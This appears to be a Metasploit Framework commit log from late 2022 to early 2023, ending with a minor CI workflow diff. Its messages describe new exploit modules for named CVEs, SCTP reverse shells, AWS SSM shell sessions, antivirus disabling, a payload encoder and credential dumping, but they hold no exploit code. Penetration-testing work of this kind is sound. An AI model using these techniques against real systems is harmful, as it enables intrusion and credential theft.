&return key to enable the caller to free the buffer if necessary which
is determined by the function that was called.
2023-02-23 08:42:59 -06:00
Grant Willcox 4c25530afe Fix up PCHAR and PWCHAR definitions to correctly handle cases where the return value may be 0. Also fix some definitions to be clearer and work on x64. 2023-02-23 08:41:26 -06:00
Grant Willcox ae461c2395 Add in ULONG alias to DWORD and update definitions to fix some mistakes 2023-02-23 08:40:28 -06:00
Grant Willcox 59eb419d28 Make PULONG_PTR definitions PLPVOID to be more accurate, and correctly define some structures as PBLOB so they be handled correctly 2023-02-23 08:40:23 -06:00
Grant Willcox d16905ca49 Fix incorrect definitions for ldap_search functions 2023-02-23 08:40:22 -06:00
Dean Welch 8a37cc6c88 Update inspect ticket tests to use the local timezone 2023-02-23 14:39:19 +00:00
Grant Willcox 8b27c2e8f7 Use start_tls for connections with SSL 2023-02-23 08:33:18 -06:00
adfoster-r7 b2cc84228f Fix module spec test failing on local machine 2023-02-23 14:27:44 +00:00
Dean Welch 65c11bd8c8 Update inspect ticket tests to use the local timezone 2023-02-23 13:37:16 +00:00
Dean Welch fd5d10e610 Update inspect ticket tests to use the local timezone 2023-02-23 12:43:43 +00:00
archcloudlabs 743e5ffd9f adding an example for additional http-headers 2023-02-22 22:22:04 -05:00
archcloudlabs 10552cbc87 msftidy and notes 2023-02-22 21:48:35 -05:00
archcloudlabs 9ff4cdfd5c updated w/ socat method 2023-02-22 21:40:26 -05:00
archcloudlabs 55371f9363 removing to_str 2023-02-22 20:36:55 -05:00
adfoster-r7 2de3142cde Land #17685, Fixed Broken Link for Metasploit Goliath in GSOC'23 page 2023-02-23 00:43:34 +00:00
samsepi0x0 b3f30f00a7 Update GSoC-2023-Project-Ideas.md 2023-02-23 05:13:27 +05:30
samsepi0x0 b38d51edca Update GSoC-2023-Project-Ideas.md 2023-02-23 02:19:40 +05:30
samsepi0x0 6b36463086 Fixed Broken Link for Metasploit Goliath. 2023-02-23 01:34:16 +05:30
Metasploit c0042ab0d2 automatic module_metadata_base.json update 2023-02-22 12:26:24 -06:00
space-r7 9621f77bac Land #17640, add Froxlor RCE 2023-02-22 12:11:38 -06:00
Jack Heysel bf7884b2dc Removed need to auth twice when AutoCheck enabled 2023-02-22 12:28:28 -05:00
Imran E. Dawoodjee 62439bbcd0 Update documentation 2023-02-22 22:52:43 +08:00
Imran E. Dawoodjee 2b5b17916f Update docs, improved robustness of module+lib 2023-02-22 22:41:14 +08:00
sfewer-r7 690abcfe1f improve the documentation, mention some steps required during setup. 2023-02-22 09:42:11 +00:00
Jack Heysel f6ec3855b3 Removed space at EOL 2023-02-22 00:35:42 -05:00
Jack Heysel 0c8df1a67b Updated docs and module suggetsions 2023-02-22 00:33:40 -05:00
jheysel-r7 42146fc4ec Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 23:02:49 -05:00
jheysel-r7 80cec400bf Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:59:23 -05:00
jheysel-r7 fc5f4983f6 Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:49 -05:00
jheysel-r7 647418745f Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:41 -05:00
Joshua Rogers 0f5f495108 Add default locations for the Jenkins home directory, and add an optional value that a user can suggest the home directory. 2023-02-22 03:56:54 +01:00
Metasploit e1e39ad5bc automatic module_metadata_base.json update 2023-02-21 15:44:56 -06:00
Jack Heysel e625e2e474 Land #17652, module for pyload js2py exploit
This adds an exploit for CVE-2023-0297 which is unauthenticated
Javascript injection in pyLoads Click N Load service.
2023-02-21 16:27:04 -05:00
Spencer McIntyre 6dbf22a5e7 Automatically rebind on STATUS_PIPE_DISCONNECTED 2023-02-21 15:51:10 -05:00
Spencer McIntyre fa3baa40e6 Add three new petitpotam methods 2023-02-21 14:38:52 -05:00
sfewer-r7 963b9a9952 Merge remote-tracking branch 'origin/CVE-2022-21587' into CVE-2022-21587 2023-02-21 18:02:10 +00:00
sfewer-r7 3854c30a11 more specific testing of the response after upload to ensure it contains the expected EBS response data. infer the relative path traversal depth from the path to the upload folder, thanks @gwillcox-r7 2023-02-21 18:00:17 +00:00
Dean Welch fc5d938d8c Add support for full pac and partial ticket checksum support 2023-02-21 13:03:59 +00:00
adfoster-r7 1b44973c80 Improve UX of module explorer 2023-02-21 12:06:24 +00:00
adfoster-r7 239bc02db4 Fix broken payload selection for metasploit rpc 2023-02-21 11:04:11 +00:00
Imran E. Dawoodjee 6e9a7a9d07 Minor fixes 2023-02-20 23:45:59 +08:00
cgranleese-r7 31a5125d78 Land #17674, Update basic discovery script database connection 2023-02-20 11:44:36 +00:00
adfoster-r7 5314d21e59 Update basic discovery script database connection 2023-02-20 09:42:59 +00:00
adfoster-r7 db290369a4 Land #17650, Fix #17602 - Update basic_discovery.rc to support commas in RHOST values 2023-02-20 09:41:08 +00:00
archcloudlabs bf5919f461 finisehd msftidy/rubocop fixs 2023-02-19 19:49:39 -05:00
archcloudlabs f61c3bcefc initial commit of disable_av documentation 2023-02-19 19:49:39 -05:00
archcloudlabs fc5a38e870 Simplifying the module 2023-02-19 19:49:39 -05:00
archcloudlabs 1f45b1e4b7 initial commit of disable_clamav module 2023-02-19 19:49:39 -05:00
ajmeese7 a2026182e1 feat: created module to exploit CVE-2019-16328 2023-02-19 16:03:05 -05:00
JBince 75fb5e883d Exploit update based on feedback 2023-02-19 09:16:56 -06:00
Imran E. Dawoodjee bdc435f5c8 Add login module for Softing Secure Integration Server 2023-02-19 22:25:22 +08:00
Grant Willcox 066d0a6f7e Land #17663, fixing case insensitive issue for show options #17459 2023-02-18 13:26:47 -06:00
manishkumarr1017 c553f80cd9 fixing case insensitive issue for show options #17459 2023-02-18 05:51:46 +00:00
Grant Willcox 38d8b70873 Make msftidy_docs.rb happy and then also clarify where to find software download links 2023-02-17 14:56:51 -06:00
Grant Willcox c713da368d Add in a few fixes from the review 2023-02-17 14:52:57 -06:00
space-r7 871c9c57f3 add logic to retrieve email address 2023-02-17 14:13:29 -06:00
Metasploit 9cf2bbf352 automatic module_metadata_base.json update 2023-02-17 12:36:29 -06:00
Spencer McIntyre c6e9c8e3db Land #17660, Move temp storage of reg hives
Move temp storage of reg hives to %TEMP%
2023-02-17 13:12:29 -05:00
Grant Willcox 676dd5cbbd Bump up gems 2023-02-17 11:40:23 -06:00
cgranleese-r7 292c160abf Land #17637, Add module information to docs site 2023-02-17 14:32:10 +00:00
JBince ce9933fc4c Feedback changes + rubocop & msftidy changes 2023-02-17 08:16:49 -06:00
sfewer-r7 73e82274dd changes as per @gwillcox-r7 review 2023-02-17 13:10:53 +00:00
space-r7 197124dd76 add Git usage, repository creation 2023-02-16 17:38:02 -06:00
JBince a3a6ae9c4a feedback fixes 2023-02-16 14:33:03 -06:00
Jonas Vestberg c610949a5a Move temp storage of reg hives to %TEMP% 2023-02-16 20:13:31 +01:00
Jack Heysel 44c393e2f1 Fixed netcat session cleanup 2023-02-16 13:14:24 -05:00
Metasploit 71cecfb1d4 Bump version of framework to 6.3.4 2023-02-16 12:12:20 -06:00
Jack Heysel 1c49b002d2 Changed get_csrf to use xpath 2023-02-16 10:47:04 -05:00
Jack Heysel 00d1637f3d Changed check method to use xpath 2023-02-16 10:33:15 -05:00
Grant Willcox e7da4c4612 Land #17594, Add larger DLL templates 2023-02-15 19:35:37 -06:00
samsepi0x0 12c739b881 Update basic_discovery.rc 2023-02-16 03:53:21 +05:30
Metasploit 5a2ab6edd4 automatic module_metadata_base.json update 2023-02-15 15:32:23 -06:00
Spencer McIntyre ecd5ad29a7 Add module docs 2023-02-15 16:29:42 -05:00
Grant Willcox a8d2073eee Land #17646, Link Hadoop YARN exploit to documentation 2023-02-15 15:09:05 -06:00
samsepi0x0 86e8f5c484 Correctly parsed before the scan. 2023-02-15 14:47:24 -06:00
Arnout Engelen 5d8b1dc4a6 Link Hadoop YARN exploit to documentation
This exploit scans for misconfigured installations, link to the documentation
that describes how to properly secure it.
2023-02-15 21:17:26 +01:00
Spencer McIntyre 557042c91c Initial exploit is working 2023-02-15 14:18:25 -05:00
Grant Willcox b89602bb7b Land #17645, Fix bootup git warnings on arch 2023-02-15 11:49:57 -06:00
Spencer McIntyre 301d25ddfa Raise more explicit errors for invalid arguments 2023-02-15 09:07:01 -05:00
adfoster-r7 a98368cfc5 Fix bootup git warnings on arch 2023-02-15 11:18:02 +00:00
Spencer McIntyre 5725dd2ded Fix an off by one size error 2023-02-14 18:01:14 -05:00
Metasploit 165b0f8d61 automatic module_metadata_base.json update 2023-02-14 16:23:51 -06:00
Spencer McIntyre ac9d60ce9e Land #17281, Added module for CVE-2022-2992
Added module for CVE-2022-2992 - Gitlab Remote Command Execution via Github import
2023-02-14 16:57:29 -05:00
Spencer McIntyre 5d254cc36b Land heyder#2, Refactor namespaces 2023-02-14 16:44:29 -05:00
space-r7 78ae5f49ce add gitlab prefix back to methods 2023-02-14 15:26:01 -06:00
space-r7 304b90ecc8 split mixins between forms and v4 api used 2023-02-14 12:37:43 -06:00
Jack Heysel 8aed02de3d Linting 2023-02-14 10:39:47 -05:00
adfoster-r7 bf57918454 Add module information to docs site 2023-02-14 13:10:03 +00:00
sfewer-r7 d1463df3cc fix documentation issues from msftidy_docs 2023-02-14 10:47:47 +00:00
Jack Heysel ff159c8760 Updated TODO 2023-02-13 20:24:32 -05:00
Jack Heysel ca0b1ffe05 Documentation fixes 2023-02-13 19:56:23 -05:00
Jack Heysel 2e195b2742 Initial commit Froxlor RCE 2023-02-13 19:39:18 -05:00
Metasploit 0e86cfa6c7 automatic module_metadata_base.json update 2023-02-13 18:13:40 -06:00
Grant Willcox d012145726 Land #17599, Cisco RV LAN Exploit - CVE-2022-20705 and CVE-2022-20707 2023-02-13 17:50:06 -06:00
Stephen Wildow 96fecb6048 Modified BadChars and FailWith codes 2023-02-13 17:49:09 -05:00
JBince 1dadd113dd msftidy changes to documentation 2023-02-13 15:27:07 -06:00
JBince 9c3cfd8bdb Added documentation, cleaned up functions, rubocop fixes 2023-02-13 15:19:45 -06:00
Grant Willcox 45e453d687 Fix up remaining review comments 2023-02-13 15:07:25 -06:00
space-r7 9605b4bb91 Merge branch 'heyder-pr-1' into heyder-cve-2022-2992 2023-02-13 14:59:45 -06:00
Spencer McIntyre c3fa924cfa Remove the NGROK_URL option 2023-02-13 14:31:44 -05:00
Spencer McIntyre 210b7a3254 Use #get_json_document instead of JSON.parse
Also fix typos
2023-02-13 14:00:13 -05:00
space-r7 d6419ee4fb add check method, login, main logic 2023-02-13 11:31:06 -06:00
JBince 2a386981bd Updated Module & Payloads + Rubocop Fixes 2023-02-13 09:03:57 -06:00
JBince f4c5e34a1b Added improved functionality on both Windows and Unix installs 2023-02-12 14:42:22 -06:00
JBince fcfc39296f Added improved functionality on both Windows and Unix installs 2023-02-12 14:39:11 -06:00
Stephen Wildow 79b1801a4f Rewrote check method to only abuse authentication bypass. Added additional status checks. 2023-02-11 17:43:33 -05:00
JBince d5b7ad30a1 Created module 2023-02-10 17:01:57 -06:00
sfewer-r7 a3f4dceb5b clean up the check method; avoid using print_message in favor of the CheckCode reason. and use a CheckCode of Safe rather than Unknown if we dont find the expected version string. Thanks @bcoles for the review on this. 2023-02-10 13:03:23 +00:00
sfewer-r7 6b29b14c46 add in module documentation 2023-02-10 12:41:55 +00:00
sfewer-r7 dc8ee988f5 use Rex::Version in the check method for better version comparisons 2023-02-10 10:45:32 +00:00
sfewer-r7 a19bdde276 pass the 'bne:uueupload' param via the vars_get option 2023-02-10 10:44:21 +00:00
sfewer-r7 54c472ef18 fix typo in the description 2023-02-10 10:43:36 +00:00
Stephen Wildow 036ed7f467 Removed /etc/password. Modified check code and fail_with. Added proper checking for non-vulnerable versions of firmware. 2023-02-09 21:55:40 -05:00
Metasploit 86fc617259 automatic module_metadata_base.json update 2023-02-09 17:53:04 -06:00
Grant Willcox 0cf7dd850f Land #17626, Fix Frycos author name in fortra_goanywhere_rce_cve_2023_0669.rb 2023-02-09 17:38:34 -06:00
Frycos e963582e18 Update fortra_goanywhere_rce_cve_2023_0669.rb
Name typo
2023-02-09 23:06:59 +01:00
Grant Willcox f2a86327d0 Minor fixes from review 2023-02-09 15:34:25 -06:00
Metasploit 6343fc8f7c automatic module_metadata_base.json update 2023-02-09 14:27:19 -06:00
Spencer McIntyre fd6cd82f30 Upgrade DLL template size automatically 2023-02-09 15:09:50 -05:00
Spencer McIntyre 025ba6775d Add a README file with some basic information 2023-02-09 15:09:50 -05:00
Spencer McIntyre 126e3a9c9a Add larger 256KiB DLL templates 2023-02-09 15:09:50 -05:00
Spencer McIntyre 2608852d8c Consolidate gdiplus build code
This references the main dll/template.c code as the mixed-mode variant
already does. This will make future changes easier as we won't need to
copy them from the main to this one.

See https://github.com/rapid7/metasploit-framework/pull/8509 for the
origin of these files.
2023-02-09 15:09:50 -05:00
Grant Willcox aa9b3df6b3 Land #17625, Add credit for CVE-2023-0669; fix path in docs 2023-02-09 14:02:52 -06:00
Metasploit e420dc123d Bump version of framework to 6.3.3 2023-02-09 12:10:37 -06:00
Spencer McIntyre c7279e9a0a Add credit for CVE-2023-0669; fix path in docs 2023-02-09 13:02:40 -05:00
sfewer-r7 d4be663923 add the side effect flag ARTIFACTS_ON_DISK as during extraction of the UUE encoded zip file, some randomly names temp files are left in /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload 2023-02-09 17:28:15 +00:00
sfewer-r7 86f11b09fb avoid the upto loop when creating jsp_path 2023-02-09 17:18:58 +00:00
sfewer-r7 406574722a satisfy Rubocop 2023-02-09 16:30:30 +00:00
sfewer-r7 b97a288102 add an exploit module for CVE-2022-21587 (Oracle E-Business Suite RCE) 2023-02-09 16:22:30 +00:00
RageLtMan ef53e3c52e Python reverse command shell over SCTP
Implement reverse shell over SCTP in Python.
During testing against Arch Linux with Python 3.10.9, any attempt
to interact with the resulting shell produced:
```
Traceback (most recent call last):
  File "/tmp/shell.py", line 12, in <module>
    so.send(o)
OSError: [Errno 22] Invalid argument
```
Implement handling for OSError 22 on the send() method for the
abnormal stream socket.

Testing:
  Tested against local KVM virtual machine running Arch Linux
2023-02-08 21:47:28 -05:00
RageLtMan a215d64574 Linux x64 binary reverse SCTP stager
Implement binary SCTP stager for Linux x64.

Testing:
  Successful test against Arch Linux x64 VM in local Libvirt
2023-02-08 21:47:28 -05:00
RageLtMan 8aef054dfd SCTP Sessions
With the introduction of SCTP socket support in Rex::Socket via
https://github.com/rapid7/rex-socket/pull/56, Framework can utilize
this protocol for session transports similarly to  TCP as it is a
stream-wise transport.

Implement bind and reverse handlers for the new socket type.
Implement example bind and reverse payloads using socat copying
from the initial udp sessions implementation.

Testing:
  Rudimentary bind session test against local Libvirt Linux VM

Next steps:
  Implement the language-level payloads for the interpreters common
to POSIX environments supporting SCTP.
  Implement meterpreter transports for SCTP in Python, PHP, Mettle,
and Java modalities (Windows doesn't support it without carrying
its own usermode protocol library).
2023-02-08 21:47:28 -05:00
Stephen Wildow 4b05ba6189 Update description and vulnerability listings. Cleaned up references. More randomization. Removed first unnecessary request in exploit portion of code. Added rescue section around json grabbing. 2023-02-08 21:26:18 -05:00
Stephen Wildow 427c181e9a Utilized msftidy_docs.rb to clean up missing sections, excessively long lines, spaces at EOL, and space end of file. Removed credit section. Expanded on installation procedure. Modified steps procedure to include Verify options and removed failure status. Removed Targets section. Scenarios have device, target, and architecture. 2023-02-08 19:18:14 -05:00
Jack Heysel 19bcf8be7f Working hardcoded payload 2023-02-08 18:14:11 -05:00
Stephen Wildow 35749a000a Added docs. Performed code linting with rubocop. 2023-02-07 20:27:07 -05:00
Stephen Wildow 475813eb33 Properly labing ZDI vulnerability 2023-02-05 21:48:48 -05:00
Stephen Wildow 59332da8ce Randomized hard coded strings, modified cmd string, and updated references 2023-02-05 21:42:57 -05:00
Stephen Wildow ac9caa8894 Removed unnecessary CVE listing 2023-02-05 14:32:04 -05:00
Stephen Wildow 7cff3cc2b0 Updated to include vulnerable versions of software 2023-02-05 13:20:52 -05:00
Stephen Wildow 4b3125d14b Add module to exploit Cisco RV34x Small Business Routers 2023-02-05 10:15:16 -05:00
RageLtMan 153f950f11 Add AwsSsmCommandShellBind session type
Create an AwsSsmCommandShellBind session type to provide intercept
points for shell command interactions and a wrapper class which is
used to register the new session.

Update Msf::Handler::BindAwsSsm with its own #create_session method
utilizing the new session type to provide direct control of session
initialization.

Restore standard handler attributes and thread nomenclature in an
attempt to resolve the repeating session creation when #to_handler
is called on the payloads.

Testing:
  Tested in local framework, unfortunately the recurring session
init problem appears to persist. Requesting testing on an upstream
Framework by saner folks.
2023-02-04 20:57:26 -05:00
RageLtMan 7e19141dfc Standardize DS names and set OS platforms
Update SSM handler code to standardize datastore option names per
@zeroSteiner.
Update payload modules to reflect the OS targets against which they
are to execute.
2023-02-04 19:41:40 -05:00
Spencer McIntyre 687e82a9ed Satisfy rubocop 2023-02-03 15:29:19 -05:00
cgranleese-r7 b789e00ea7 Enhances info -d with references to AttackerKB 2023-02-03 10:15:55 +00:00
Spencer McIntyre 61c2726620 Fix NoMethodError for #opcode 2023-02-01 18:19:46 -05:00
h00die 62d43a6e96 use exploit retry function 2023-01-28 07:44:53 -05:00
RageLtMan 27d6a89b99 Use keepalive in SSM aux module 2023-01-21 09:26:06 -05:00
RageLtMan 453baca109 Drop mask_write, tweak logging 2023-01-21 08:29:28 -05:00
RageLtMan 589c2257e3 Implement reporting and pretty output 2023-01-20 23:17:34 -05:00
RageLtMan 3e54ae6e69 Resolve crashes noted by @smcintyre-r7, simplify
Bail out of console resize operation if ::IO.console doesn't exist
Enforce REGION datastore option and remove the multi-region enum
code by Aaron - users can write resource scripts if they need
automation.
2023-01-20 22:33:51 -05:00
h00die 633c58a0ff tomcat on rhel priv esc 2023-01-19 15:28:10 -05:00
npm-cesium137-io d0feedadbf Refine whatsupgold_credential_dump
Added CVE info to the References section.

Modified the registry routines to add sanity around x86 vs. x64 arch.
2023-01-18 15:47:26 -05:00
Jeffrey Martin 99b2e1d709 add aws ssm gem to lock file 2023-01-13 09:59:05 -05:00
RageLtMan 14f992aa88 Address some of @smcityre-r7's comments
Explicitly `require 'aws-sdk-ec2'` in the aux module
Fix the hard-coded region to use datastore option
2023-01-13 09:55:51 -05:00
RageLtMan 274bf6dcb7 Make SSM keepalive optional 2023-01-13 09:54:34 -05:00
Steve E b67f001e2a post-testing typo fix 2023-01-12 20:02:20 +00:00
Steve E 1afecd0884 force t3 over ssl option 2023-01-12 19:42:55 +00:00
npm-cesium137-io 243c57c1fe Add whatsupgold_credential_dump post module
Add a post module for credential extraction from WhatsUp Gold instances
on Windows hosts. The module should theoretically decrypt ciphertext
from any version of WhatsUp Gold, although it has only been verified
working on WhatsUp Gold versions 11.0 through 22.0.
2023-01-10 15:50:53 -05:00
Steve E 990d5ccfad Action linter warnings in changes 2023-01-09 21:17:22 +00:00
Steve Embling 16c176dbe0 Accept protocol option change to optenum from optstring
Co-authored-by: bcoles <bcoles@gmail.com>
2023-01-10 12:54:28 +00:00
Steve Embling a368f76a2a Update weblogic_deserialize_badattrval.rb 2023-01-10 10:47:31 +00:00
Steve E 60bfa329fa Add t3s protocol support to weblogic_deserialize_badattrval 2023-01-09 18:47:43 +00:00
Arthur RAOUT d83c2c3a5d Remove useless loop that select reg1, because we now have push/pop all regs to preserve them 2023-01-04 17:40:22 +01:00
Arthur RAOUT 676fda73b1 Remove useless loop that select reg1, because we now have push/pop all regs to preserve them 2023-01-04 17:39:59 +01:00
Arthur RAOUT 7494318ec4 Fix offset from entrypoint 2023-01-04 17:36:55 +01:00
Arthur RAOUT 93f579b180 Fixed shuffling of registers with generate preserve reg function 2023-01-04 17:33:24 +01:00
Arthur RAOUT 0a99e2be6a Fixed 3 offense rubocop/msftidy 2023-01-04 17:25:25 +01:00
Arthur RAOUT bdf5f8fbe4 Added preserver register through random order push and pop of the registers, change name to xor_poly.rb 2023-01-04 17:21:48 +01:00
Professor Araout 7cd68e8f06 Merge branch 'rapid7:master' into New_x86_xor_encoder 2023-01-04 17:04:30 +01:00
RageLtMan 60c2f0a480 SSM enumeration module filter and throttle
Expand SSM enumeration module docs to explain full functionality.
Enable the LIMIT configuration option to restricte results per
region.
Implement FILTER_EC2_ID configuration option to permit targeting
of a specific instance for session initiation.

Testing:
  Finds limtied sets of systems and initiates sessions
  Finds desired system ID and initiates session
2023-01-03 22:00:14 -05:00
RageLtMan 955fb2ef3e SSM WebSocket session keep-alive
The SSM session socket times out without data being sent at the
upper (SSM) WS layer. Implement keep-alive in a separate thread
which simply writes nothing into the channel at irregular intervals
to simulate user activity.

Testing:
  Sessions established with this code running have not timed-out
in over 15m despite being completely unused
2023-01-03 21:20:07 -05:00
RageLtMan eba4c4b047 Spoonfeed the skiddies: auto-sessions for SSM enum
Enable session acquisition from AWS SSM enumeration module simiar
to how the telnet login scanner acquires sessions on the sockets
exposed.

Testing
  Tested execution - finds systems, gets shells, autopwn-capable
2023-01-03 20:40:30 -05:00
RageLtMan 7666b30b82 Rudimentary enumeration module for EC2+SSM
Coopt Aaron Soto's EC2 enum module & replace the guts with an SSM
query for not-terminated EC2 instances with SSM capability. This
will proide users with the instance IDs needed to test their SSM
shells and can be expanded to report information or even act as a
"brute-force" module which automatically starts SSM sessions.

Testing:
  None - might eat your monitor lizard
2023-01-03 17:09:55 -05:00
RageLtMan 46c030a08b Finalize SSM Shell via WebSocket
Implement terminal resizing to WebSocket shell
Reorganize code to ease later extension
Implement peerinfo in channel context from AWS EC2 SSM information
gathered during session validation
Implement echo-filtering for session inputs (hacky, but works)

Testing:
  Verified console resizing, color/reset/etc
  Verified peerinfo and interaction
  Verified common session operations

Notes:
  SSM WebSocket sessions time out pretty quickly, implementing
dedicated SSM session types which support suspend/resume to match
backgrounding/foregrounding operations in the console should help
to resolve this. Alternatively, a keep-alive using empty frames
may be implemented in the SsmChannel itself on a separate thread.
2023-01-03 15:10:31 -05:00
RageLtMan 43d746c404 Implement SSM WebSocket Sessions
Alter WebSocket::Interface::Channel to accept a mask_write flag to
set the Channel behavior for outgoing data (since the on_data_write
handler can only deal with the buffer provided, not how the wsframe
containing it is written to the "wire"). Set the flag to false for
SSM's WebSocket operations.

Extract Rex::Proto::Http::WebSocket::AmazonSsm from the handler to
permit reuse by other framework elements.

Implement SSM-specific UUID handling.
Create sane SsmFrame constructor to permit convenient operations.

Implement Http::WebSocket::AmazonSsm::Inteface::SsmChannel from
Http::WebSocket::Inferface::Channel with message-type handling and
output processing. Acknowledge incoming messages, process incoming
acknowledgements, increment sequence IDs appropriately, and handle
basic logging.

This new session type removes the 2500 char output restriction and
stateless peer cwd.

Testing:
  Execution of handler now provides stateful interactive shells

Next steps:
  More testing, preferably by other people with upstream framework.
  Peerinfo and presentation updates for the session channel
  Misc cleanup

Future work:
  Implement new SSM session type with support for multi-console,
port-forwarding/socket routing, and custom SSM documents.
  Implement FSM handlers for session suspension and resumption in
Http::WebSocket::AmazonSsm::Interface::SsmChannel
2023-01-03 09:34:14 -05:00
RageLtMan c733dbc906 Start processing AWS SSM WebSocket session frames
Create BinData structure to handle the proprietary format of AWS'
SSM WebSocket protocol. Implement relevant inter-field dependencies
and a virtual payload_valid field to handle the SHA256 digest check
for the current state of r the payload_data field.

Implement user-accessible SSM document definition to permit use of
custom-defined command and session documents (stubbing for session
types such as port-forwarding) which may be of use when dealing
with restrictive IAM.

Restructure handler in preparation for moving the WebSocket code
into Rex::Proto for use by other consumers such as custom payloads
and session types like fully interactive (vs REPL) modalities, or
some form of "cloud-native" MeterSSM.

Testing:
  Verified acquisition of SSM WS frame and relevant field ops

Next Steps:
  Create WS loop to abstract shell communications
  Wrap in Rex*Abstraction bowties for the session handler
  Test -> ? -> Profit
2023-01-01 11:21:32 -05:00
RageLtMan cfc24f138a Implement SSM WebSocket init/auth
Using the implementation in https://github.com/humanmade/ssm, use
the onconnect websocket authenticator as a JSON string written as
a wstext Frame into the established WebSocket. This keeps the sock
open with AWS after returning it from the method, but subsequent
operations will require definition and encoding/decoding of SSM's
proprietary data structures.

Testing:
  The initialized WebSocket is kept open and returns wsframes when
requested.

Next steps:
  Port the various data structures from the JavaScript library
  Implement encoding & decoding for their wire-level formats
  Implement state management and data flow handling logic for
the WS SSM protocol.
2022-12-31 20:46:19 -05:00
RageLtMan 9850534d55 Initial WebSocket connection wrapper
Port WebSocket initiation routine from Exploit::Remote::HttpClient.
Currently inert since it appears to require a handshake procedure
along with its own type of data frame.

Implement graceful fail-down for session establishment which tries
to initiate a WebSocket session for proper functionality, failing
down to the script-execution style session abstraction if the WS
session does not marshal properly. Use this exception handling to
deal with the WIP WS session state.

Testing:
  Gets the same kind of command-abstracted session as before
  Interface-extended socket returns garbage from naive #write and
nothing from put_string or put_binary - not going to get anything
out of this thing until we establish the handshake procedure.

Next steps:
  Figure out data frame structures for handshake and console IO
  Implement handshake on-init, validate state
  Implement IO abstraction for the resulting Channel for handoff
to #handle_connection
2022-12-31 19:05:06 -05:00
RageLtMan 3624bee263 Initial implementation for AWS SSM shells
Amazon Web Services provides conveniently privileged backdoors in
the form of their SSM agents which do not require connectivity with
the target instance, merely valid credentials to AWS' API. Due to
this indirect "connection" paradigm, this mechanism can be used to
control otherwise "air-gapped" targets.

This approach abstracts asynchronous request/response parsing for
SSM requests into an IO channel with which the AWS SSM client is
then wrapped to emulate the expected Stream. The mechanism is rather
raw and could use better error handling, retries on laggy output,
and a threadsafe cursor implementation. It may be possible to start
an actually interactive session using the #start_session method in
the AWS client library, but so far testing has not yielded positive
results.

There is a significant limitation with these sessions not present
in normal stream-wise abstractions: a response limit of 2500 chars.
This limitation can be overcome by utilizing an S3 bucket to store
command output; however, due to the nature of access we seek to
obtain, it would not only add to the logged event loads but retain
the results of our TTPs in a "buffer" accessible to other people.
This functionality can be added down the line in the form of S3
config options in the handler to be passed into the SSM client for
command execution and acquisition of output.

Testing:
  Gets sessions, provides command IO, leaves a bunch of log entries
in CloudTrail (something to keep in mind for opsec considerations).

Next steps:
  Reorganize our WebSocket code a bit to provide connection and WS
state management inside Rex::Proto::Http::Client which can then be
exposed to the Handler without having to mix-in other namespaces
from Exploit.
  Use the #start_session SSM Client method to extract the WS URL
for the relevant channel, and utilize that as the underpinning for
our session comms.
2022-12-31 15:04:27 -05:00
Professor Araout dcec717a9b Merge branch 'rapid7:master' into New_x86_xor_encoder 2022-12-20 22:25:29 +01:00
Professor Araout 0a53cab369 Update xor.rb
Remove outdated comments
2022-12-20 17:03:50 +01:00
Arthur RAOUT 45d0eb8bb4 Add encoder module x86/xor at path modules/encoder/x86/xor.rb, Rubocop clean, msftidy clean, No documentation written 2022-12-20 15:54:01 +01:00
Steffen Robertz cc5c405941 Unauthenticated RCE for multiple Zyxel Router changes 2022-12-15 21:44:57 +01:00
Steffen Robertz 1b690283db Unauthenticated RCE for multiple Zyxel Router 2022-12-15 11:50:48 +01:00
Heyder Andrade cf6d5d3a14 It made the gadgets being used more readable 2022-12-06 17:47:49 +01:00
Heyder Andrade 8aca86b816 Apply suggestions from code review 2022-12-04 17:29:05 +01:00
Heyder Andrade 5c3ac339d0 Apply suggestions from code review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-12-04 12:13:50 +01:00
RadioLogic a3c82246a7 Added archer c7 traversal exploit 2022-12-03 20:03:11 -05:00
Heyder Andrade 704cee436b Apply suggestions from code review 2022-11-29 15:25:14 +01:00
Heyder Andrade c1236500f1 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-29 14:12:39 +01:00
Heyder Andrade ff63f0aa32 Added reference 2022-11-28 14:11:07 +01:00
RadioLogic 6d676e9ac5 Added vsftpd dos module 2022-11-26 16:00:01 -05:00
Heyder Andrade 27f8f4fc47 Cleanup 2022-11-23 01:55:06 +01:00
Heyder Andrade 7880530989 The check method should report when finding a vulnerable product.
I think all exploit modules should "report" in the check method when finding a vulnerable
product. By doing that we can take advantage of all check methods in the exploit module
and use them as a "scanner". That would give the chance for the user to check multiple
simultaneously targets and save the result for further actions.
2022-11-23 01:29:38 +01:00
Heyder Andrade 0e5f8d49f9 Code cleanup and payload generation improvements 2022-11-23 00:29:10 +01:00
Heyder Andrade 13a3d9d1ca Added documentation 2022-11-23 00:19:25 +01:00
Heyder Andrade 7983c14166 Removed a bunch of hard-coded stuff and cleaned out fake smart server 2022-11-22 12:07:55 +01:00
Heyder Andrade 3d73f574d4 Impreve error handling 2022-11-20 12:10:04 +01:00
Heyder Andrade a05cbdbc30 Impreve error handling 2022-11-20 12:09:05 +01:00
Heyder Andrade c9eaa9af37 Added module for #CVE-2022-2992 2022-11-19 15:21:31 +01:00
Heyder Andrade 34d191b06c Added Ruby serialized payload generator 2022-11-19 15:20:49 +01:00
Heyder Andrade f1b97de78d Added Gitlab mixin 2022-11-19 15:19:29 +01:00
Tod Beardsley 54667a2424 Merge branch 'rapid7:master' into master 2022-01-30 09:13:37 -08:00
Tod Beardsley 1d400bd094 Merge remote-tracking branch 'upstream/master' 2021-06-04 20:23:30 -05:00
1049 changed files with 85388 additions and 9851 deletions
+1 -1
View File
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
name: Ruby ${{ matrix.ruby }}
steps:
+8
View File
@@ -191,6 +191,14 @@ jobs:
